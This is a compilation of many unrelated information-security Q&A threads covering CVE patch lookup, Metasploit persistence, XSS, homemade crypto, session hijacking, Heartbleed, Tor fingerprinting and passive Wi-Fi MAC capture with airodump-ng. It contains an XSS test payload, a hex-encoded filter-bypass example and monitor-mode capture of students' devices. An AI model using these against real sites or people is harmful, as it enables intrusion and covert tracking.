Source where you can find if a CVE has a patch or not I'm wondering if there is a source available which has a list of CVE numbers and shows whether they have been patched or not (and maybe a link to a relevant patch). I know Secunia has something like this but I was wondering if there any others.

I'm not aware of any good out-of-the-box services, but I usually cross-reference with sites like:

SecurityFocus: It usually references CVE. Patch status filed under "Solution".
PacketStormSecurity: Allows fulltext search (can search for CVE ID). Patch status filed under "Mitigation".
OSVDB: Has an option to search with CVE ID. Patch status filed under "Solution".
IBM XForce: Allows CVE ID search. Patch status filed under "Remediation".


Nmap snmp-info.nse Security Name I'm attempting to issue an snmpget request to a device but i'm unable to determine the security name. Running the Nmap snmp-info.nse is successful and no Security Name is required to successfully run the script. Is there any way of retrieving the Security Name from this NSE script? I've checked the contents and there is no Security Name parameter anywhere.

Looks to be in the code as USM NoAuthNoPriv, as seen here -- https://svn.nmap.org/nmap/scripts/snmp-info.nse

You could verify with the net-snmp tools using the -l noAuthNoPriv flag. See the EXAMPLES section here -- http://www.net-snmp.org/tutorial/tutorial-5/commands/snmpv3.html -- the first one showing a completely unauthenicated request.

Here is another example:
snmpget -v3 -u WEAK -l noAuthNoPriv myciscorouter1 sysName.0


Metasploit as a Daemon creator is using metasploit post exploit tools an easy way to create a "daemon"?

I mean I can just add my awesome.exe to the payload and migrate the payload to svchost.exe and it will persist on the machine

Is this scenario possible? I mean this will be done on a local computer which could be also monitored locally using the payload.

Please let me know if I'm just really confused or it's actually possible

In order to gain persistence, metasploit uses some modules. Some create a registry key which starts the exe you want upon startup and some create services. A simple migration won't help, because upon next startup, svchost.exe will start as the original binary without your payload in memory.


Using client certs issued by a third party CA I have a site that is protected with a user name/password login. For users that want to enter a certain area of the site, there is (legacy) code that looks for a client certificate and if the email in the cert matches the email associated with the login, then they can access this (extra) protected section.

Some questions about that approach:

Can we continue to accept certs as long as they are from a trusted
What prevents malware from stealing the client cert from a user's machine and placing it on another, compromised machine and using it from there?
The way it stands now, as long as the cert comes from a system standard or commonly accepted CA, it is accepted.  Should we change the logic to issuing the client certs ourselves, adding our own CA to the list of trusted CAs and only accepting certs signed by our CA? We don't really want to do this though as it does not scale to support the amount of users.
Would it be better to give a signing cert to the users' parent company, and allow them to issue client certs. We then would only trust certs from the signing cert (or from our own CA, which would be in the trust tree).

I am asking a lot here, I know. If need be, I can refine the question with some guidance.

Using client certificates that are not issued by you poses some threat.

Anyone who knows the email of one of your users and can find a CA in your trust list that is not very strict about user verification, can get themselves a forged certificate with this email. Then they can access the private section.

Managing your own PKI is complicated, but can solve this issue.

Giving a signing certificate is turning the burden to the client's company, which might or might not be a good idea depending on their expertise and trust-ability to operate the PKI seriously.

At the end, the answer is always "it depends". You have to compromise between the risks and costs of dealing with the risks.


Who should create the keys? I'm trying to implement a Software deployment & updating function which is part of AUTOSAR AP standard.

Background information:

There are three parts.

Integrator the client which user uses it to create a software from the source and make it into a package.
Backend Server the software package will be upload into the server.
Target the client downloads the from server and verify it creates from a valid user or not.

So about the verification via signature.

Who should create a pair of keys? The user creates keys, gives private key to Integrator, uploads the public key to the server and always keeps the private key(to represent the user itself)? Or the server generate the keys and issue to the user?

The safest method is to have the Users generate the keys. The Target and the Backend Server can then verify the origin of the package (which User made it) and the authenticity (if it has been tampered with either due to issues in transport or maliciously) without having to trust the specific origin of the packages.

If you want Targets to be able to use packages without having to trust every inividual User, the Backend Server can sign packages as well. This is also how for example apt works on Ubuntu


How to securely send passwords using KeePass I use KeePass to store my passwords and it works great. From time to time, I create users in the network and I need to send them their initial password, which I generate through KeePass.

I usually send their passwords through email in a 7zip encrypted file with a master password. The problem is that I create a text file on the hard drive, containing their KeePass-generated password. Then I 7zip that text file encrypting with the master password and send through e-mail. That way I need to always remember to delete the text file (and the 7z file) manually. Not to mention, they are not overwritten instantly.

I wanted to be able to generate the 7zip encrypted file on the fly inside Keepass. Does anyone know of a way to do that? I searched KeePass plugins and didn´t find anything like that. Also I saw there is a plugin for secure exchange but it seems to be based on Outlook and that doesn´t help me.

The usual way to handle this is to set a random password, force a password change at first connection and send that password to the user.

More sophisticated systems will force the first logon and password change to happen within a limited period of time before disabling the account.

If you can use encryption (S/MIME or PGP) then all the better. If you can't, you'll have to accept the initial period of vulnerability.

if you intend to keep the user's password, then you have a problem: your procedure is insecure (because you still have the user's password in reversible encrypted format) and you should spend energy on fixing that instead.

Finally, if you really need to send secure information to the user then you will need some kind of initial secure channel and some way to perform encryption.

For instance, the system I'm working on creates a PGP key for the user (on his system) and uploads it to our server after we provided the user with a session key. We then use that key to encrypt all sensitive data we send to this user with his key. The session key is typically sent via registered snail mail or, in some cases, sent over the phone. We keep the (public) keys users send us for future communication.


Is it a breach to have a ssh program into a tomcat server I start to working in a project here and find something that at least seems odd to me. Since I'm not an specialist I came here to ask.

It is a Java Web project that was made to run into a Tomcat server in an windows environment (Windows Server). The possible problem here is that inside the WEB-INF folder of that project there is a ssh folder with executable files like chmod.exe, chown.exe, ssh.exe and some cygwin DLLs.

Looking into the code I saw that there is some place calling those files to execute and run specific tasks.

My concern is about what that files can do because I known then, I've worked in project running into Linux systems.

So, would that (have such files with executable permissions), inside a tomcat server running in a windows machine be a potentially and dangerous security breach?

Since according to the comment these files are intended this way this can not be considered a breach. A breach would only be if an attacker has installed the files there.

Of course these files might increase the attack surface because they might make it easier for a potential attacker. But this can probably also be said from other programs on the machine, like PowerShell or even the Java installation. It might also be that these files are installed in an insecure way (i.e. open remote access) but simple having SSH or any of the other tools on the machine  is not a security problem by itself.


Tagged website malware A common occurance I've found when doing forensics on compromised websites is a pattern like this:

Clean code here

... malware code here ...

clean code resumes

In particular, HTML code is delimited with  ... , PHP code with #marker# ... #/marker# and JavaScript with /*marker*/ ... /*/marker*/. Where the marker is some 6-character alphanumeric (possibly hexadecimal) value which varies by infection but is consistent throughout all the files infected in one go.

So my question is this:
Is there a common tool that produces this pattern, or is it perhaps a single individual or group? Or otherwise why is this pattern so consistent and common?

This seems to be a way for the malware to check whether it has already infected the file or not. No tool is needed, it could be something as easy as hex-coded string that means something to the malware author, or it could simply be a randomly generated string of some pattern to help the malware identify its own code in the infected pages.

I have seen similar techniques in several infected websites.


Does this reflected XSS vulnerability pose any real threat? I have a web site where users can enter some text into a textbox and that text is immediately rendered in a div using javascript (strictly front end).  If a user enders something like this:

This is my text<script>alert('test');</script>

It will render that content in the div and show the alert.  When the user saves the record everything is HTML encoded when it gets to the server and then saved to the database, so there is no stored XSS vulnerability.

My question is if the act of rendering the contents of the textbox on the client side could pose any kind of threat?  If so, what could a malicious user do?

It will render that content in the div and show the alert.
  My question is if the act of rendering the contents of the textbox on the client side could pose any kind of threat? If so, what could a malicious user do?

If this is the case I would fix it (defence in depth), but as AviD pointed out without seeing the full site and its context, it is difficult to comment further.

  When the user saves the record everything is HTML encoded when it gets to the server and then saved to the database, so there is no stored XSS vulnerability.

As an aside, you should only encode the data when output - unless you are storing rich text that the user has control of (in which case other steps should be taken), you should store the text in raw format and then encode when output. This is because the encoding required differs between HTML, JavaScript, XML, etc - the context in which it is output is all important.


Client authentication and security In working on a piece of intranet software, I needed to implement security between the client and the server. I would like to know whether this is a secure way to do this or if there are significant holes.

The client and server come up with a shared secret using ECDH (secp521r1) key exchange. A new shared secret is negotiated for every request.

The encryption key is generated using Password-Based Key Derivation Function 2 (PBKDF2). I use the shared secret as the password, a preshared key as the salt (to only allow authorized clients to connect), 100,000 iterations, and the hash function is SHA512.

After that the request data is encrypted with aes-128-gcm, using the encryption key and an IV of 12 zeros. The response is encrypted using the same key. The server then discards the key so it cannot be used twice.

Is this a good implementation? Are there other better ways to do this? Is there something I am missing?

Do not roll your own cryptography

There have been multiple attacks on SSL/TLS which have been developed by the wider industry and been through scrutiny and testing. Don't build your own, stand on the shoulders of giants.

If this is an intranet project check to see if you have an internal CA and get an issued certificate from this. Don't use self signed certificates as well your weakening your own security by doing so. Anyone can issue them and then man-in-the-middle your traffic.

Also why is the IV unchanged? An IV should be regenerated each time its used.


Does AES 256 encryption support a master key and generated (time-bombed) keys? I have a scenario where semi-sensitive [1] data for a corporate web application is to be stored in the browser's localized storage (Indexed DB to be specific, via JavaScript).

The intention is to encrypt the data (AES 256) at the server level with a "master" key/passphrase, but then send a 'time-bombed' generated key that would enable decrypting the data... but only for a certain amount of time - e.g. 2-4 hours.

I've been led to believe that this is possible - however I haven't found any documentation indicating how to generate temporary keys.

If this concept is possible a link to, or indication of what the API/method call would be named would be helpful.  If this is possible, but only in other encryption schemes (e.g. SHA-512?) I'd be grateful for a nudge in the right direction.

[1] - No credit cards, financial or other scary stuff. Just things that the user might not want a casual person walking by to be able to read. Yes I'm fully aware that "security" and "JavaScript" should likely not be uttered in the same sentence but this is all HTML5 offers.

First, about AES-256 in particular: AES-256 is a symmetric cryptosystem. Decryption and encryption use the same key; if you encrypt stuff with a master key, you have to give that master key to whatever's decrypting stuff or else it can't decrypt stuff. You may have read about master and session keys, but that is about stuff happening before AES encryption -- to decrypt the output of AES-Encrypt(k,m), the client must know k.

Second, for time-based decryption: Encryption and decryption algorithms are mathematical functions. They have no notion of an hour; they cannot be made to work one way today and a different way in six weeks. A function takes an input and gives an output; it always gives the same output if given the same input, no matter where or when it's being run. Since neither key nor ciphertext degrades over time unless you actively destroy it, there is no way to have "time-bombed" decryption that happens entirely on the client side. This is not AES-specific; in every encryption system, if you have the information needed to decrypt the data now, you can use that information any time you want.

The only way to get some sort of time-bomb encryption is to make it so that the client simply does not have all the information it needs to decrypt. You need a system where it can't decrypt without contacting a server you control and getting some information that couldn't otherwise be figured out. Even then, if that information is stored locally, an attacker doesn't need to contact you to use it a second time unless you re-encrypted the data.


XSS: What type of text encoding is this? I found this encoding as a XSS example to bypass certain filters.

Been trying to look some information (plus encoder/decoder tool) about this type of encoding but was pretty difficult without knowing it's name:

xCpl \x3d 1 \x2f \x281 - xBeta \x2a xP\x29\x3b\x0avar xDens \x3d xStdDens \x2a xCtl \x2a xCpl \x2f

the \x is indicating that there is going to be an ascii character encoded in hexidecimal.

xCpl \x3d 1

\x3d => '='

You can use a site like this to decode it individually: http://www.dolcevie.com/js/converter.html

Or, for this example, just put this in a js console:

console.log('xCpl \x3d 1 \x2f \x281 - xBeta \x2a xP\x29\x3b\x0avar xDens \x3d xStdDens \x2a xCtl \x2a xCpl \x2f')

and you'll get:

xCpl = 1 / (1 - xBeta * xP);
var xDens = xStdDens * xCtl * xCpl /

It may be used for xss so that it can hide characters that a particularly weak filter wouldn't catch.


Uncontrolled Format String Vulnerability in JavaScript I have been working on input validation vulnerabilities and very new to Uncontrolled Format String Vulnerabilities, as I learned so far its usually exploited through printf functions with "%".

I also saw that JavaScript (Node.JS) supports format strings by using sprintf functions.

Is it possible to perform Format String attacks in JavaScript, because in CWE it is only mentioned that it is rarely seen in Perl, oftenly in C and C++. If it is possible are there any examples or any source that I can find.

I tried myself with a simple example but it end up with an error expecting number but found string "Bob"

var val = "Bob"
console.log(sprintf('The %x ran around the tree', val));

I am not sure if I am doing it right, any help would be great.

Thanks in advance

No, these are not possible in Node.js as sprintf is a basic string formatting utility. This is now built into the language as util.format.

As per the documentation, this function only supports basic formatting such as %s, %d and %j. There is no way of retrieving a pointer value using %p, hex formatting it using %x or outputting the number of characters using %n, which is where the vulnerability lies in C. C documentation on the formatting options here.

C is a native language, so it is possible to cause a buffer overflow using string format. However, Node.js is a managed language and it is not possible to directly control registers, therefore you won't get the same type of vulnerabilities here.

See here for some format string exploit examples.


Can't a user change his session information to impersonate others? Can't an attacker just change his/her session (or cookie because it's stored locally) information then fool the server that he's the legitimate user?

Say for example, if a website uses the database id as an identifier, the attacker logs in to his account to get his cookie. Then just modify his ID to impersonate another legitimate user.

Yes, if you can guess another user's session key then you can become them. This is why you need to have a unpredictable session key that can be revoked.

There have been cases where best practice haven't been followed, for example Moonpig produced an API which used a session key that was the user's ID which is set on account creation as a consecutive number. This meant that you could be any user. If that user wanted to stop you, they couldn't as it is the key for all the sessions they are engaged in and can't be changed as it is the unique ID for them within the Moonpig database.

This is a really good example of how to do it wrong. Session keys should be unpredictable and able to be thrown away (possibly able for one user to have many session keys).

As @Mindwin mentioned in the comments, the session key should be in the HTTP payload (cookies or form data [best practice is in cookies]) and not in the URL. This is because having session data in the URL makes it so you have to put it in the URL of every link, stops you from persisting a session if the user leaves and comes back, copying the URL and sending it to someone gives them your session data and there is a limit of characters that a URL can be.

You should also use HTTPS wherever possible so that an attacker can't snoop on the HTTP payload and get a copy of the session key that way (this is how Firesheep worked).


Hide web.xml file from public view I have found a vulnerability in a sun java application where the web.xml file is publicly viewable as the application is not using any .htaccess nor web.config.

I don't how to restrict. I tried with file permissions, but when I remove read permissions the whole application stops working.

I googled and found that security constraints on servlet mapping can be used, but the developer says that is for weblogic. The java sys application is deployed on win 2008.

Are there other solutions?

Just put this in the .htaccess file:

Order Allow,Deny
Allow from all
<Files /web.xml>
    Order Deny,Allow
    Deny from all
    Allow from 127.0.0.1
</Files>

Let's run through this one line at a time:

Order Allow,Deny - Allow all requests that don't match a htaccess rule.
Allow from all - Allow all requests. We override this rule later with more specific rules.
<Files /web.xml> - Apply the next set of rules to files that match /web.xml. This block overrides the rules set above.
Order Deny,Allow - Deny all requests that don't match a htaccess rule within this block.
Deny from all - Deny all requests. Again, we override this rule with a more specific one.
Allow from 127.0.0.1 - Allow any request from 127.0.0.1 for /web.xml.
</Files> - End the block we started on line 3.

Essentially, this leaves us with "for all files except web.xml, allow all requests. for web.xml, deny all requests unless they're from 127.0.0.1".


Heartbleed: revoke or replace ssl certificate? I have a free ssl certificate issued just before Heartbleed was found. Now my CA wants me to pay 25$ to revoke it.
Should I pay or it's just enough to create a new certificate from another CA an replace existing?
Considering there are no real users of my site (the site is still in development and nobody has my old certificate installed in his browser yet)?

If you did not use your certificate, there is no need to of revoke it or re-issue. Seems to be CA is making more money with Heart Bleed.

If you have used certificate following things could be exposed with exploiting the HeartBleed.

long-term server private keys
TLS session keys
confidential data like passwords
session ticket keys.


Is there repetition in the Solaris 11 hash routine? Can I add some? Solaris 11 now uses SHA-256, so we can have longer than 8 character passwords now, by default. That is nice.

I'll just make it clear that this password is never used as a line of defence. Only a select few can reach the tools that actually make use of the passwords. Other users go through a web-based management system under a controlled environment.

However, I strive for perfection, so I notice this and wonder.

Can I configure or install a repetition parameter of the Solaris 11 password hash? I want the hash to take 50ms, which is probably more secure than default.

Ideally I want to switch it over to bcrypt. Can you give me some pointers?

Are unix/linux sha256/sha512 passwords in /etc/shadow key-strengthened?

Yes.  They use a crypt procedure that does a default of 5000 rounds of hashing.  The sha256-crypt/sha512-crypt procedure is described here
and in java

Can I change the number of rounds?

Yes.  Simply edit /etc/pam.d/passwd or /etc/pam.d/common-password (or solaris equivalent) and add 'rounds=73500` at the end of the line that looks similar to:

password    [success=2 default=ignore]  pam_unix.so obscure sha512 rounds=73500

and then change your password using passwd.  Why 73500?  Well, timing crypt with rounds=5000, I was getting about 3.4 ms per password.  (5000*50/3.4 ~ 73500).  You can check if a password in your /etc/shadow  files was done an abnormal number of rounds if it looks starts with yourusername:$6$rounds=73500$RFzXZTGB$ where $6$ indicates the crypt procedure used (sha256-crypt is $5$, sha512-crypt $6$) followed by number of rounds and then the salt.

But I want bcrypt; Can I switch to that:

Check /etc/pam.d/ and (1) change all references of pam_unix.so to pam_unix2.so (check that the file is there) and (2) then change sha512 to blowfish in /etc/pam.d/common-password

https://serverfault.com/questions/10585/enable-blowfish-based-hash-support-for-crypt/11685#11685

One noticeable difference between bcrypt vs sha512-crypt; is that bcrypt work-factor scales exponentially; e.g., a work-factor of 12, should take double as long as a work-factor of 11, while sha512-crypt rounds scale linearly (e.g., rounds=10000 should take twice as long as rounds=5000).  This is simply because bcrypt says do 2work-factor rounds.  As a quick benchmark on my machine, one bcrypt round is more expensive than a sha512-crypt round; with a rough equivalence of ~4 ms with rounds=5000 or work-factor=6 (26=64 bcrypt-rounds).  But as both can be scaled up this should not be an issue until the number of rounds overflow the unsigned 32-bit/64-bit int (when rounds = 4 billion or 1019 respectively).

Python timing Stuff With sha512-crypt

You can check crypt via python (in linux this performs just as fast as the C version as it just is a thin wrapper for the crypt library written in C)

>>> import crypt
>>> crypt.crypt('testtest', '$6$6LzxTFam$')

In python on my machine with the crypt module it takes about 3.4 ms per sha512-crypt password at 5000 rounds and ~50 ms with 73500 rounds.

>>> import timeit
>>> timer = timeit.Timer("crypt.crypt('testtest', '$6$6LzxTFam$')", setup="import crypt")
>>> timer.timeit(1000)
3.4215329647064209
# with 73500 rounds:
>>> timeit.Timer("crypt.crypt('testtest', '$6$rounds=73500$RFzXTGB$')", 'import crypt').timeit(1000)
50.738550186157227


Can JavaScript break anonimity provided by Tor? Some time ago, I was browsing this website over tor. After selecting a location in the menu, it was able to tell me exactly how far away the nearest test centers to my location were, which means it was able to get my location.

I use NoScript with TorBrowser and I'm usually careful about allowing JavaScript to run. Of course, some websites are near unusable, if not completely, if some of the necessary scripts are not allowed to run.

How does the website get this information when I'm browsing using tor?
How can I tell when a website I'm visiting has this capability?
Is there anything I can do to prevent them from obtaining this and any other information that shouldn't be visible when browsing over tor?

tl;dr: Yes, JavaScript can break anonymity provided by Tor if there's a browser vulnerability involved, if you enable features that weren't designed anonymity in mind (like WebRTC or Geolocation API), or through giving out more information for browser fingerprinting.

This particular site (https://pearsonpte.com/) uses the Geolocation API on line 31: navigator.geolocation.getCurrentPosition(). This doesn't use geolocation data for your IP address, but a location provider like GPS chip on your device. Usually the browser prompts you for a permission per site, but this can be allowed or denied globally. Allowing geolocation globally would be dangerous as it reveals your location in much more detail than your IP address.

Configuring your browser to prevent everything that could reveal your identity takes a lot of effort and is likely to fail. Even if you have all the knowledge to disable everything necessary, the more you customize your settings the more unique fingerprint your browser will have (Am I Unique?). Tor Browser is a standalone bundle with a pre-configured Mozilla Firefox with NoScript and HTTPS Everywhere, but the default settings enables JavaScript on the site itself and warns about external scripts. Being extra careful you might want to tighten the settings by removing some of these:

Tor Browser is not perfect against the browser fingerprinting, but it helps a lot with other mistakes you could make. Am I Unique? test results first with default settings compared to the results with JavaScript disabled also suggests that disabling JavaScript might be a good idea:

  But only 12 browsers out of the 992892 observed browsers (0.00 %) have
  exactly the same fingerprint as yours.

  But only 1796 browsers out of the 992968 observed browsers (0.18 %)
  have exactly the same fingerprint as yours.

Even using the Tor Browser you could screw up in several ways including:

You forget (or neglect) to update the browser. Outdated versions can be quite dangerous: there has been vulnerabilities in e.g. handling file:// URLs and bypassing NoScript.
The site ask your permission to use HTML5 features like canvas image data. Tor Browser lets you allow it on your own risk, but you have been warned.

You could allow scripts globally or trust a site you shouldn't (assuming you disabled scripts).
NoScript detects potential Cross-Site Scripting attack, but you can allow requests to external sites.
Tor Browser is pre-configured with e.g. geo.enabled & geo.provider.ms-windows-location set to false, but it doesn't lock any of the settings in about:config.


Storing product keys on same server as shop? Situation: An e-commerce system (specifically: PrestaShop) which is used to sell virtual products (specifically: product license keys). To accelerate order processing, a cronjob is supposed to be regularly executed which looks for new orders. Each of this order is checked against a list of criteria, if it passes the test, the ordered product keys will get delivered via E-Mail immediately and automatically, without human interaction.

If there is an exploit in PrestaShop and an attacker gains access to the administration or database, all product information is exposed, which could mean a total loss of all product licenses meant to be sold (along with the possible theft of customer information).

Could I restrict possible damage in case of intrusion in the shop system by storing the product keys including the automation script on another server with another database?
So, the script on the other server is frequently querying the shop for new orders and sends out the product information stored on its own database on its own server via E-Mail to the customer. The shop system is unaware of the license keys all the time. Also, possible intruders could not discover the other server (except they gain access to webserver access logs).

By the way: An HTTPS connection between the servers can be regarded as obligatory in this case, right? Because sensible information may be transferred.

I guess your question is more a case of seeking confirmation that your proposed solution (see quote below) is the best or only option.

  Could I restrict possible damage in case of intrusion in the shop
  system by storing the product keys including the automation script on
  another server with another database?

If that's your question the answer would be: yes.

The second server holding all your assets should not allow inbound traffic, only outbound. This way there is only traffic originating from a secure zone to a untrusted zone and not the other way around.

If you look at the picture on the Dutch NORA Zonering webpage. Your customer would be in the "white" zone, your shop in the "green" dmz zone, your second server in the "yellow" zone and your assets (DB) in the "red" zone. All communication is filtered. Only the yellow zone has access to green (cron), red (DB) and white (e-mail to customer). Google translate does a decent translation by the way.

In your case you may put your assets in the yellow zone as well, if there is no direct access from the white or green zone. You might even use a workstation as these normally only are allowed outbound traffic. But when using for normal web browsing as well so called drive-by-malware would be an issue.

In general from most to least secure traffic:

no communication;
only outbound or originating from the inside (that's what you propose);
inbound allowed via a semi-secure zone which filters;
inbound and unfiltered.

Another relevant source:
Public DMZ network architecture


How can I defend against malicious GET requests? My server is getting hit with a variety if requests like the following:

Started GET "/key/values"
ActionController::RoutingError (No route matches [GET] "/key/values")

Started GET "/loaded"
ActionController::RoutingError (No route matches [GET] "/loaded")

Started GET "/top/left"
ActionController::RoutingError (No route matches [GET] "/top/left")

How should I defend against such attacks?  Will these requests slow down my site even if they do not get a response?

How can I defend against malicious GET requests?

These requests do not look really malicious. At least based on your description they don't cause any harm, i.e. no unwanted code execution, SQL injection or similar attacks. They only need some resources to process. What you see is what every operator of a web server can see in the log files: lots of requests which don't match anything existing on the server because somebody is scanning the internet and looking for vulnerable systems. Additionally these  requests can also be caused by changes to your site where formerly valid URL's are now invalid but robots still remember the old URL's and check these for updates.

If these requests bother you then you can either change your application to ignore such requests (and not log them as errors) or filter these requests by a server/reverse proxy in front of your application.

While the suggested web application firewall (WAF) can filter such requests I would consider it overkill to install one just to filter these harmless requests. But properly used (i.e. adapted to the application instead of just installed and forgotten like often the case) it can be a useful layer of protection. And while the suggested fail2ban can help too it is only useful if these requests originate only from a few single IP addresses, which is often not the case. Moreover a reliance on fail2ban can lock out valid users since invalid links to your site can be included in mails or other websites and thus the originating IP address of the request is not the attacker but an innocent user which got tricked in visiting this link. But fail2ban only sees the originating IP and the error message and then locks out the innocent user.

What you should do is make sure that your application is not vulnerable and OWASP is a good resource to learn about securing web applications. If your application is secure than it has no problem dealing with these kind of requests. But to limit resource usage from invalid requests you should make sure that these requests get detected and rejected as early as possible in your application, i.e. it would be bad if invalid requests would also trigger costly queries against a database.


How I can get MAC address of devices using passive wifi? There is a project at the university, there are a lot of mobile phones where the wifi works in passive mode and is not connected to an access point. Is it possible to get the MAC address of these devices, given that they are not access points?

How do I understand the command airdump-ng is looking only for access points?

In the project, I use tp-link mr3020 and openwrt.

It is necessary to determine student attendance.

If there is no ready-made solution, can you tell which way to look for information in terms of programming?

How do I understand the command airdump-ng is looking only for access points?

By default airodump-ng wlan0 will listen for any 802.11 devices beacons (master and managed mode) at 2.4 GHz. So, you know it is not only capturing AP beacons, your only alternative is to filter clients later using something like Wireshark if this is an issue. It is important to realise you are entering your Wi-Fi card into monitor mode (not managed mode) for this type of surveillance.

I do understand this can be an issue, so I would suggest specifying the BSSID of the AP before you start capturing and writing to a file in Airodump-ng, as the legality of intercepting traffic outside of your network is in question.

  It is necessary to determine student attendance.

I do not understand exactly what you are asking here. But, you can look through all BSSIDs associated with your station (AP) MAC address in airodump-ng or Wireshark.

  Is it possible to get the MAC address of these devices, given that they are not access points?

Passively via monitor mode, presuming you are within the distance of capturing beacons of the clients, then yes! You will see this in the image above.

To present this data in a more readable or appropriate format look at the Aircrack-ng documentation and Wireshark. Although, for anything regarding capture dumps, I would recommend Wireshark for processing and filtering.


apparmor: How to enable dbus feature of apparmor ('dbus mediation'), in the linux kernel? Would very much like to use apparmor to restrict specific dbus communications within my system. However the following line appears in my syslog:

Dec 28 09:36:21 apex snapd[1127]: AppArmor status: apparmor is enabled but some features are missing: dbus, network

Have tested with the following apparmor profile. Sadly, it does not restrict the DBUS :_(

# Last Modified: Fri Dec 28 09:20:30 2018
#include <tunables/global>

/usr/bin/budgie-panel {
  #include <abstractions/base>

  # allow all rules
  allow *,

  # Then deny bind access, for the program /usr/bin/budgie-panel,
  # on any bus (either the user's session bus, or the system wide bus),
  # to prevent registering the dbus endpoint address "org.freedesktop.Notifications"
  #
  # This is to keep the address free, for other notification daemons to use
  # (such as 'dunst', or 'mako', which provide multi-monitor support)
  # This will also mean budgie cannot receive notifications (raven sidebar, and applets)
  #
  deny dbus bind name=org.freedesktop.Notifications,

}

Well aparrently, there is supposed to be a kernel flag? To see if this feature is enabled in the kernel, there should be a folder at /sys/kernel/security/apparmor/features/dbus, containing a file named mask. However that folder is missing on my system.

Perhaps this is because I have switched to using update_ubuntu_kernel.sh. Which gets its .deb kernel packages from https://kernel.ubuntu.com/. They are not the typical / standard ubuntu kernel? According to ubuntu's own documentation, the dbus feature in apparmor should be present ever since ubuntu 13.10.

$ uname -a
Linux apex 4.20.0-042000-lowlatency #201812232030 SMP PREEMPT Mon Dec 24 01:42:05 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

So then! ...would like to find out how to enable kernel boot flags. Or load a module (modprobe). Or other steps required to get this feature working in those newer linux kernels. Not sure what to look for / search for!

The dbus mediation in apparmor requires cooperation of the apparmor userspace, kernel and dbus daemon. All parts must contain the necessary support or dbus mediation will not be enabled.

From your description the apparmor userspace and the dbus daemon should support dbus mediation but your kernel does not. Currently dbus mediation requires an out of tree patch providing fine grained mediation for af_unix sockets that Ubuntu kernels are carrying as a sauce patch in currently releases.

The upstream kernels (including the just released 4.20 and next release 4.21) do not yet have support for fine grained af_unix mediation. Several prerequisite patches have landed in the recent 4.18, 4.19, and 4.20 kernels and the upstream apparmor project is hoping to have fine grained af_unix mediation land in 4.22


If I send someone a google search results link, am I sending them any information about me? When I do a google search, there's a lot of stuff in the URL for the results page:

https://www.google.com/search?q=why+is+this+here&source=lnms&sa=X&ei=8G6gUtGnJIOh0QXt-4HYDg&ved=0CAgQ_AUoAA&biw=1239&bih=806&dpr=1#q=security

https://www.google.com/search
?q=why+is+this+here
&source=lnms
&sa=X
&ei=8G6gUtGnJIOh0QXt-4HYDg
&ved=0CAgQ_AUoAA&biw=1239
&bih=806
&dpr=1
#q=security

What is all this stuff, and do I care if someone else sees it when I share a link to this page with them?

If you want to know that, Read
The Ultimate Guide to the Google Search Parameters and Advanced Google Search. The google search query structure is broken down into chunks and has detailed information about their purpose. You will get to know what the parameters in your search queries are.
The following are some of the decodings of Google's search query syntax.
Basic Search URL:
https://www.google.com/search?
hl=en
&q=test
&btnG=Google+Search

Advanced Search URI
https://www.google.com/search?
as_q=test (query string)
&hl=en (language)
&num=10 (number of results [10,20,30,50,100])
&btnG=Google+Search
&as_epq= (complete phrase)
&as_oq= (at least one)
&as_eq= (excluding)
&lr= (language results. [lang_countrycode])
&as_ft=i (filetype include or exclude. [i,e])
&as_filetype= (filetype extension)
&as_qdr=all (date [all,M3,m6,y])
&as_nlo= (number range, low)
&as_nhi= (number range, high)
&as_occt=any (terms occur [any,title,body,url,links])
&as_dt=i (restrict by domain [i,e])
&as_sitesearch= (restrict by [site])
&as_rights= (usage rights [cc_publicdomain,cc_attribute,cc_sharealike,cc_noncommercial,cc_nonderived]
&safe=images (safesearch [safe=on,images=off])
&as_rq= (similar pages)
&as_lq= (pages that link)
&gl=us (2-digit country code in lowercase)
&btnI=I%27m+Feeling+Lucky


System Encryption With Veracrypt/Truecrypt- What is the difference between Wipe Mode "None" and 3 pass, 1 pass etc? First I wanted to make sure we're talking about using a Non-SSD Hard drive. I know SSD drives work differently.
Here would be a good reference/guide on system encryption:
https://www.howtogeek.com/howto/6169/use-truecrypt-to-secure-your-data/
If someone were to encrypt their System partition (Ex. Windows 7 parition) with VeraCrypt or Truecrypt.
They would click on **"Encrypt System Partition or Drive" **
There will be a section that asks you "Which Wipe Mode" do you want to use?**
You can choose "None" "1 pass" "3 pass" etc.

What is the difference between None and 1 pass, 3 pass etc?

For example, lets say I have a 1TB Non SSD Hard Drive with 1 partition (1TB) (The system partition) with Windows 7.

If I use Truecrypt/Veracrypt to encrypt the system partition with a STRONG PASSWORD that nobody knows. Even if I choose the Wipe Mode "NONE", the entire partition will be encrypted with a STRONG PASSWORD. As long as nobody knows that password, shouldn't nobody be able to access ANY of the information on the hard drive? Even the unencrypted data + free space data PRIOR to doing a system encryption? Is this correct? Or if you choose NONE, can your data prior to encryption be recovered?

If I choose the Wipe Mode "1 pass" or "3 pass", does that just Wipe all the unencrypted data + free space PRIOR to or DURING encrypting the system partition? So, if you have a STRONG PASSWORD, nobody can access the data anyways- Wiped or not wiped? is this correct?

Is this correct? What is the difference between choosing "None" vs "1 pass" or "3 pass" for the Wipe Mode?

(This is probably the most important question)

Is all my unencrypted data prior to system encryption** (All the unencrypted data on my system partition + free space data) **safe once I've done a System encryption with a STRONG PASSWORD?

To answer the specific points you brought up let me take them one at a time, and note that this answer is specifically for NON SSD drives.

As long as nobody ever gets your password then there's no point to wiping the freespace.  The benefit to wiping the freespace is that in a normal systme when files are deleted, the are they are stored at is simply marked as 'available', so the file contents are still on the disk.  When you encrypt your whole drive you're also encrypting those remnants of previously deleted files.  This means if your password is ever compromised and decrypted, those files you 'deleted' prior to encryption may be recoverable.
If you want to learn more about the differences between a single pass wipe and a multiple pass check out the answer to this question.
In this case there really is no discernible difference between a single pass and a 3 pass wipe.  Some people just like doing a 3 pass because that's what they're used to doing in the past.
All your data after encrypting with a strong password is safe as long as you also don't write your password down, or re-use that password, etc. (apply all standard good password practices). The one possible exception would be bad sectors where the drive has failed, and can't normally retrieve data from that location, but a forensic lab could recover data from those damaged sectors.  The only way to prevent that is to encrypt the drive when it's brand new.


Burp CA security risks I am using Burp as a proxy to test an Android app. To get this to work I installed the Burp CA certificate on my phone. As far as I understand it (and that is not a lot of understanding) I could leave this certificate on my phone without adding a large security risk, as the CA certificate is created by Burp for the specific instance/device.

But I am not sure about this, so the question is: What security risks am I introducing to my personal phone when leaving the Burp CA certificate installed instead of deleting it after testing? And why?

